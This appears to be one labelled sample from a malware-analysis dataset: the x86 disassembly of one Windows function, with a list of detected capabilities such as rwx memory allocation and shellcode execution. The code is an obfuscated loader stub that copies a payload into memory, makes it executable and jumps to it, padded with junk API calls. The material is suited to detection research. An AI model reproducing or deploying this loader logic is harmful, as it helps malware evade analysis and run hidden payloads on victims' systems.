Function at 0x4037c0
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk size
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x42c8fb
push eax
mov dword fs:[0], esp
sub esp, 0xefc
cmp dword [0x2b8262c], 0xac
push ebx
push ebp
push esi
push edi
jne 0x4038ba
xor esi, esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongW]
push esi
call dword [sym.imp.ole32.dll_OleQueryLinkFromData]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push esi
lea eax, [esp + 0xec]
push eax
push 0x402c50
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueTimer]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
lea ecx, [esp + 0x3c]
call fcn.00405ac4
lea ecx, [esp + 0x3c]
call fcn.00405ba2
call fcn.00405173
push esi
call fcn.00405c26
push esi
push esi
call fcn.00405da6
push esi
push esi
call fcn.00405f16
push esi
call fcn.00405c26
push esi
push esi
call fcn.00405c3c
push esi
push esi
call fcn.00405c55
push esi
call fcn.00405ef4
add esp, 0x2c
lea ecx, [esp + 0xa0]
push ecx
call fcn.00404f60
lea ecx, [esp + 0xa0]
mov dword [esp + 0xa0], 0x402dc4
mov dword [esp + 0xdc], esi
mov dword [esp + 0xe0], esi
mov dword [esp + 0xf14], 0xffffffff
call fcn.00404990
mov edi, dword [sym.imp.USER32.dll_SetCaretPos]
mov ebx, dword [sym.imp.USER32.dll_CharLowerBuffW]
mov ebp, dword [sym.imp.USER32.dll_GetSysColorBrush]
xor esi, esi
mov edi, edi
cmp esi, 0x9430
jge 0x4038ee
push 0
push 0
call edi
push 0
lea edx, [esp + 0xec]
push edx
call ebx
push 0
call ebp
inc esi
cmp esi, 0x15460
jl 0x4038d0
add dword [0x2b8262c], 0x11b1b
call fcn.004037a0
mov ecx, dword [0x2b8262c]
mov edx, dword [0x2b825a0]
lea eax, [esp + 0x28]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, esi
cmp dword [0x2b8262c], esi
jbe 0x403980
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, dword [sym.imp.GDI32.dll_GetColorAdjustment]
mov ebp, dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
lea ecx, [ecx]
mov eax, dword [0x2b83f34]
mov cl, byte [eax + esi + 0x11b1b]
mov edx, dword [0x2b825a0]
mov byte [edx + esi], cl
cmp dword [0x2b8262c], 0xa8
jne 0x403977
push 0
call edi
push 0
push 0
call ebx
push 0
lea eax, [esp + 0xec]
push eax
call ebp
inc esi
cmp esi, dword [0x2b8262c]
jb 0x403940
mov esi, dword [sym.imp.KERNEL32.dll_ReadConsoleA]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
mov ebx, dword [sym.imp.KERNEL32.dll_DebugBreak]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenW]
xor eax, eax
mov dword [esp + 0x10], eax
mov ecx, dword [0x2b8262c]
add ecx, eax
cmp ecx, 0xe
jne 0x403a4a
push 0
lea edx, [esp + 0x1c]
push edx
push 0
push 0
push 0
call esi
lea eax, [esp + 0x3c]
push eax
call edi
call ebx
push 0
call ebp
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
lea ecx, [esp + 0x8e8]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push 0x402cec
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edx, [esp + 0x70]
push edx
lea eax, [esp + 0x68]
push eax
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x30]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
push 0
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
lea ecx, [esp + 0x38]
push ecx
push 0
lea edx, [esp + 0xf0]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x4f9409
mov dword [esp + 0x10], eax
jl 0x40399e
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthW]
mov ebx, dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
mov esi, 0x4cc
jmp 0x403a70
push 0
push 0
push 0
push 0
call edi
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0
call ebx
sub esi, 1
jne 0x403a70
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebp, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov edi, edi
call edi
push 0
call ebx
push 0
push 0
push 0
push 0
call ebp
cmp esi, 0x3b9f9c7
jge 0x403eba
mov dword [esp + 0x6c], 0x2b23e75a
mov dword [esp + 0x10], 0x4cde8ddd
mov dword [esp + 0x90], 0x5fd7b9a9
mov dword [esp + 0x38], 0x36fee2ef
mov dword [esp + 0x88], 0x7ea82ce
mov dword [esp + 0x20], 0x7e9e0a9d
mov dword [esp + 0x4c], 0x4e9d61c0
mov dword [esp + 0x80], 0x35f910ef
mov dword [esp + 0x8c], 0x1b1f4c31
mov dword [esp + 0x14], 0x3ac9bbf8
mov dword [esp + 0x24], 0x7a15913f
mov dword [esp + 0x9c], 0x62549a1c
mov dword [esp + 0x58], 0x2a24477f
mov dword [esp + 0x98], 0x1201f2d6
mov dword [esp + 0x94], 0x71b2ec6
mov dword [esp + 0x78], 0x480e8347
mov dword [esp + 0x5c], 0x7e45e7b5
mov dword [esp + 0x64], 0x66ee9337
mov dword [esp + 0x54], 0x37beb127
mov dword [esp + 0x7c], 0x5f430172
mov dword [esp + 0x18], 0x3ef75990
mov dword [esp + 0x34], 0x17d97796
mov dword [esp + 0x84], 0x671b5d09
mov dword [esp + 0x1c], 0x12f2d2f6
mov dword [esp + 0x30], 0x2e853ae6
mov dword [esp + 0x60], 0x52c4b444
mov dword [esp + 0x48], 0x46a518f9
mov dword [esp + 0x50], 0x35125e2b
mov dword [esp + 0x3c], 0x1ad10849
mov dword [esp + 0x70], 0x381ee696
mov dword [esp + 0x2c], 0xe11e6c2
add dword [esp + 0x6c], 0x733a01c6
sub dword [esp + 0x6c], 0x28e1ea4c
sub dword [esp + 0x6c], 0x77f8656a
add dword [esp + 0x6c], 0x1b0fc675
add dword [esp + 0x6c], 0x1e76876c
mov eax, 0x6e3db233
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
sub dword [esp + 0x6c], 0x65e693b6
add dword [esp + 0x6c], 0x21e4e8db
sub dword [esp + 0x6c], 0x1f11c09d
add dword [esp + 0x6c], 0x3d058891
mov eax, 0x7b9004c1
mul dword [esp + 0x10]
mov eax, dword [esp + 0x10]
add dword [esp + 0x6c], 0x7af13f7b
mov eax, 0x5b31b732
mul dword [esp + 0x10]
mov eax, dword [esp + 0x10]
mov eax, 0x32e9610c
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
sub dword [esp + 0x6c], 0x1af62962
sub dword [esp + 0x90], 0x59def22
sub dword [esp + 0x6c], 0x4f8788a3
mov eax, 0x4b2a4fac
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
add dword [esp + 0x10], 0x42b3cadb
add dword [esp + 0x4c], 0x4aa37306
add dword [esp + 0x88], 0x56582517
sub dword [esp + 0x6c], 0x5ae8094f
mov eax, 0x230210eb
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
sub dword [esp + 0x88], 0x28378756
mov eax, 0x62657da2
mul dword [esp + 0x38]
mov eax, dword [esp + 0x38]
add dword [esp + 0x88], 0x2375764f
add dword [esp + 0x4c], 0x11b12aed
mov eax, 0x13e95691
mul dword [esp + 0x88]
mov eax, dword [esp + 0x88]
mov eax, 0x6f46e2ce
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
mov eax, 0x6e95728b
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
mov eax, 0x45b8ee68
mul dword [esp + 0x88]
mov eax, dword [esp + 0x88]
sub dword [esp + 0x38], 0x61944033
sub dword [esp + 0x4c], 0x14d29531
add dword [esp + 0x4c], 0x45e7e617
add dword [esp + 0x80], 0x500e65ea
mov eax, 0x36707039
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
add dword [esp + 0x4c], 0x5f1fe643
sub dword [esp + 0x98], 0x7327cae6
add dword [esp + 0x78], 0x162a0206
add dword [esp + 0x14], 0x23b42ea1
add dword [esp + 0x64], 0x3b768056
sub dword [esp + 0x64], 0xf6d96df
sub dword [esp + 0x38], 0x259fb309
add dword [esp + 0x20], 0x2f9e05b4
add dword [esp + 0x38], 0x61dc3320
add dword [esp + 0x24], 0x799a2ec5
add dword [esp + 0x4c], 0x893cbaa
add dword [esp + 0x98], 0x15ff780
sub dword [esp + 0x98], 0xc788bba
mov eax, 0x3626429a
mul dword [esp + 0x38]
mov eax, dword [esp + 0x38]
mov eax, 0x13340774
mul dword [esp + 0x38]
mov eax, dword [esp + 0x38]
mov eax, 0x45badb7d
mul dword [esp + 0x5c]
mov eax, dword [esp + 0x5c]
add dword [esp + 0x5c], 0x3ddb5118
sub dword [esp + 0x10], 0x4daecf02
mov eax, 0x3bf366d7
mul dword [esp + 0x78]
mov eax, dword [esp + 0x78]
sub dword [esp + 0x24], 0x4446398f
add dword [esp + 0x64], 0x33b2e8ae
mov eax, 0x54e9bf20
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
sub dword [esp + 0x88], 0x410a050d
sub dword [esp + 0x34], 0x2588952e
add dword [esp + 0x98], 0x5218a717
mov eax, 0x7e1b1836
mul dword [esp + 0x8c]
mov eax, dword [esp + 0x8c]
mov eax, 0x1856fc37
mul dword [esp + 0x10]
mov eax, dword [esp + 0x10]
mov eax, 0x14c6a33a
mul dword [esp + 0x88]
mov eax, dword [esp + 0x88]
mov eax, 0x451f6ebe
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
mov eax, 0x45dccc0a
mul dword [esp + 0x8c]
mov eax, dword [esp + 0x8c]
mov eax, 0x74f05f91
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
mov eax, 0x63b4dc15
mul dword [esp + 0x38]
mov eax, dword [esp + 0x38]
add dword [esp + 0x58], 0x4ef084d9
cmp esi, 0xbf08bd
jg 0x403ecf
inc esi
cmp esi, 0x19be898c
jl 0x403aa0
call fcn.00403640
xor edx, edx
cmp edx, 0x26
jne 0x403ee0
call fcn.00403780
inc edx
cmp edx, 0x409495
jl 0x403ed6
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferW]
mov ebx, dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
mov ebp, dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
mov dword [esp + 0x14], 0x7b
lea esp, [esp]
cmp dword [0x2b8262c], 0x86
jne 0x403f85
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
xor ecx, ecx
xor edx, edx
mov word [esp + 0x12], dx
lea eax, [esp + 0x18]
push eax
mov word [esp + 0x14], cx
mov ecx, dword [esp + 0x14]
push ecx
lea edx, [esp + 0x44]
push edx
lea eax, [esp + 0x7c]
push eax
push 0
call edi
push 0
push 0
call ebx
lea ecx, [esp + 0x64]
push ecx
push 0
call ebp
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push 0
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
sub dword [esp + 0x14], 1
jne 0x403f10
mov esi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_BackupSeek]
mov ebx, 0x180ef
lea ecx, [ecx]
cmp dword [0x2b8262c], 0x1f
jne 0x403fd4
push 0
lea edx, [esp + 0xb0c]
push edx
call esi
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x3c]
push edx
push 0
push 0
push 0
mov dword [esp + 0x34], 0
call edi
sub ebx, 1
jne 0x403fa0
call fcn.00403390
mov eax, dword [0x2b825a0]
mov dword [0x2b825a4], eax
call eax
mov ecx, dword [esp + 0xf0c]
pop edi
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret